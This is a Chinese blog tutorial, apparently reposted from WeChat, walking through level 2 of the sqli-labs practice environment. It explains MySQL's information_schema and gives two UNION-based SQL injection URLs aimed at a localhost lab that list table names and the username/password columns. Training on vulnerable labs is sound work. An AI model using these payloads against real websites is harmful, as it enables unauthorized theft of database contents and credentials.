注入学习之sqli-labs-3(第二关)

前言

本来是想一个个关卡讲下去,后来自己测试了一下,发现第二、三、四这三关跟第一关,起始原理是一样的,只不过是单引号,双引号,带不带括号的区别,只要我们带入的语句能够把sql查询语句完美闭合并且执行我们想要的结果,就可以。

那这一节就把上一节课的后续表名、列名、用户名、密码也查询出来

在这之前先了解几个mysql语句

0x01 准备阶段

1 登录mysql,如图

2 查询mysql中所有的数据库

语句 :Show databases

3 查询某个数据库中的所有表,这里以 security 这个数据库为例

语句:先选中 use security

再查询 show tables

4 列出某个表中所有的字段,这里以users表为例

语句有两种:

1:Desc users

2 show columns from users

得出的结果都一样,如图:

这些都是最基础的数据库查询语句

如果有不懂的话直接百度

了解了基本的语句和整个数据库的结构,接下来讲一下我们要用到的

在前一步查询所有数据库的时候,会发现有这样一个数据库 information_schema

下面一段话是对这个information_schema的描述

information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema表里面。

总的来说,我们想要的数据库名字,数据库的表名,字段名,我们都可以从这个information_schema来查询得到

我们先来熟悉这个数据库,直接放图

比如说,我们想要某个数据库下的所有表名

那么上图中的

TABLE_NAME就是存放这些表名的一张表单

TABLE_SCHEMA 就是存放所有数据库名的一张表单

而TABLE_NAME、TABLE_SCHEMA都是存放着information_schema下的tables表下

那么我们构造语句的时候,就需要用到where 去限定查询某个数据库下的表名

所以我们要查询某个数据库下的所有表名,这里以 security为例,则语句可以这样写

Select TABLE_NAME from information_schema.TABLES where table_schema = ‘security’

那如果把上面这个查询语句放入我们的攻击代码中,是不是就可以得到我们要的信息呢?

这里我们还要用到几个函数

1 order by 确定字段数

2 union 连接多个select语句

3 group_concat 连接输出结果

0x02 利用方式

我们的攻击语句构造如下

以第一关为例

http://127.0.0.1/Less-1/?id=1'and 1=2 union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where table_schema='security' --+

接下来,稍微修改一下语句,获取users表下的所有字段

http://127.0.0.1/Less-1/?id=1'and 1=2 union select 1,group_concat(column_NAME),3 from information_schema.columns where table_name='users' --+

很明显我们看到其中个有username 和 passwd字段,这就是我们要的用户名和密码字段

0x03 总结

总体来说,整个流程并不难,主要是要对sql的查询语句熟悉,以及一些函数的使用。配合上我们上节测试得出的sql查询语句,就可以构造我们想要的攻击代码。

1、如过觉得文章帮助到了你,请帮忙手动转发,谢谢各位老铁支持

2、禁止使用该文章用于非法用途

原文发布于微信公众号 - 网络安全社区悦信安(yuexin_an)

原文发表时间:2017-06-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏IT技术精选文摘

MySQL 有几种Join,其底层实现原理是什么?

mysql只支持一种join算法:Nested-Loop Join(嵌套循环连接),但Nested-Loop Join有三种变种:

2773
来自专栏源哥的专栏

oracle中如何删除重复数据

        我们可能会出现这种情况,某个表原来设计不周全,导致表里面的数据数据重复,那么,如何对重复的数据进行删除呢?         重复的数据可能有这样...

1003
来自专栏Clive的技术分享

Mysql锁相关锁的分类锁的适用场景MyISAM表锁MyISAM写阻塞读的例子MyISAM读阻塞写例子MyISAM并发插入MyISAM读写并发MyISAM锁调度调节MyISAM锁调度行为解决读写冲突的

锁类型/引擎 行锁 表锁 页锁 MyISAM 有 InnoDB 有 有 BDB(被InnoDB取代) 有 有 锁的分类 表...

4385
来自专栏cloudskyme

oracle10g分区的几种类型

为了简化数据库大表的管理,例如在数据仓库中一般都是TB级的数量级.ORACLE8以后推出了分区选项.分区将表分离在若于不同的表空间上,用分而治之的方法来支撑元限...

34711
来自专栏weixuqin 的专栏

MySQL 学习笔记(三):完整性和触发器设计

1234
来自专栏奇梦博客

CentOS下mysql数据库常用命令总结 MySQL 参数配置

1331
来自专栏java达人

MySQL 加锁处理分析

背景 MySQL/InnoDB的加锁分析,一直是一个比较困难的话题。我在工作过程中,经常会有同事咨询这方面的问题。同时,微博上也经常会收到MySQL锁相关的私信...

2325
来自专栏枕边书

PHP中的数据库一、MySQL优化策略综述

前些天看到一篇文章说到PHP的瓶颈很多情况下不在PHP自身,而在于数据库。我们都知道,PHP开发中,数据的增删改查是核心。为了提升PHP的运行效率,程序员不光需...

2888
来自专栏禅林阆苑

mysql 命令完全总结 【原创】

mysql 命令完全总结 Write By CS逍遥剑仙 我的主页: www.csxiaoyao.com GitHub: github.com...

34111
来自专栏乐沙弥的世界

Oracle 分区表

随着表的不断增大,对于新纪录的增加、查找、删除等(DML)的维护也更加困难。对于数据库中的超大型表,可通过把它的数据分成若干个小表,从而简化数据库的管理活动。...

1072

扫码关注云+社区